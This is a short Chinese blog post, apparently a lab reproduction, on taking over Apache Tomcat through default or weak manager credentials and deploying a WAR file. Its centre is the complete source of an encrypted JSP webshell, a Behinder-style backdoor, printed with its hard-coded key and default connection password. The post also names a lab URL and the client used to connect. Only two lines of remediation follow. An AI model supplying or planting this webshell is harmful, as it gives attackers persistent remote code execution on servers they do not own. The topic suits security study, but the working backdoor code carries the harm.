首页 > 其他分享 >tomcat弱口令&war远程部署

tomcat弱口令&war远程部署

时间:2023-01-05 21:24:31浏览次数:61  
标签:shell tomcat 口令 密码 jsp war

1.漏洞原理

  在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,

或者管理 员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上

传恶意代码控制服务器。

2.漏洞复现

 

 

 找上传点,部署war包,将shell.jsp打成压缩包,然后将zip改成war,jsp马如下:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

 

 

 访问:http://192.168.4.164:21524/shell/shell.jsp

用冰蝎连接,获得webshell

 

 3.修复建议

  a.设置强口令 conf/tomcat-users.xml

  

 

  b.删除manger文件

标签:shell,tomcat,口令,密码,jsp,war
From: https://www.cnblogs.com/lzkalislw/p/17028877.html

相关文章

  • Ventoy制作启动盘和使用VMware测试启动盘(论文版)
    -1Ventoy1.1 Ventoy是什么Ventoy是可用于制作启动U盘的开源工具,在占用少量引导分区容量后,其他空间依旧可以正常当一般的U盘读写文件。它的最大特点是只要将iso、win......
  • Apache Tomcat的安装与测试
    为了unity的webgl发布和测试,我安装了tomcat。距离上一次使用Tomcat还是很久很久以前的事情了。简单记录一下吧。我发现webgl的发布问题超级多,尤其是2020版本的。看来接下来......
  • IDEA集成tomcat
    上面创建了web项目,但是这个项目跟tomcat服务器是没有任何关系的,我们来给他加上本地集成:在webapp目录下面创建一个html文件:配置config注意访问路径,配置好是下面这......
  • tomcat 如何实现request请求绑定
    示意图简述1. 请求进入NioEndpoint,找到协议Handler,2. 创建Http11Processor,填充request对象3. 触发CoyoteAdapter将request、response送入下一环节处......
  • Tomcat通过脚本自动部署
    http://t.zoukankan.com/yshyee-p-11866140.html 1:autodeploy_tomcat_app.shnow=`date+%Y%m%d%H%M%S`tomcatPath=/home/test/apache-tomcat-8.5.34backupPath=/hom......
  • pve虚拟机Vmware安装教程
    1ProXmoX-VE简介PVE(ProXmoXVE)是一个开源的虚拟化管理软件,类似ESXI,用户可以通过网页的方式来管理服务器,使用kvm以及lxc技术运行虚拟机,同时也提供了一些集群和HA等功能。......
  • linux设置tomcat开机自启动
    本文假设jdk环境安装成功,如何安装JDK请参考这个链接: http://www.cnblogs.com/yoyotl/p/5395208.html1.下载apache的安装包,例如本例下载了apache-tomcat-7.0.68.tar.gz......
  • tomcat的web项目的远程热发布
    已经发布的项目war包更改了怎么办?我常用的做法是:1.把war包上传服务器2.远程登录服务器后台3.停止tomcat服务4.用新的war包替换老的war包5.启动tomcat服务后来......
  • caffe 打印出Forward 函数输入输出的shape
    voidMyLossLayer<Ftype,Btype>::Forward_cpu(constvector<Blob*>&bottom, constvector<Blob*>&top){ // bottom[0]:"depth"1x1x36x64 // bottom[1]:"data"......
  • self hosted private support chat software use JavaScript remove HTML tags
    ThemainreasonforremovingHTMLtagsinonlinecustomerservicesystemsistopreventmalicioususersfromattackingthewebsiteorotherusersbyinputting......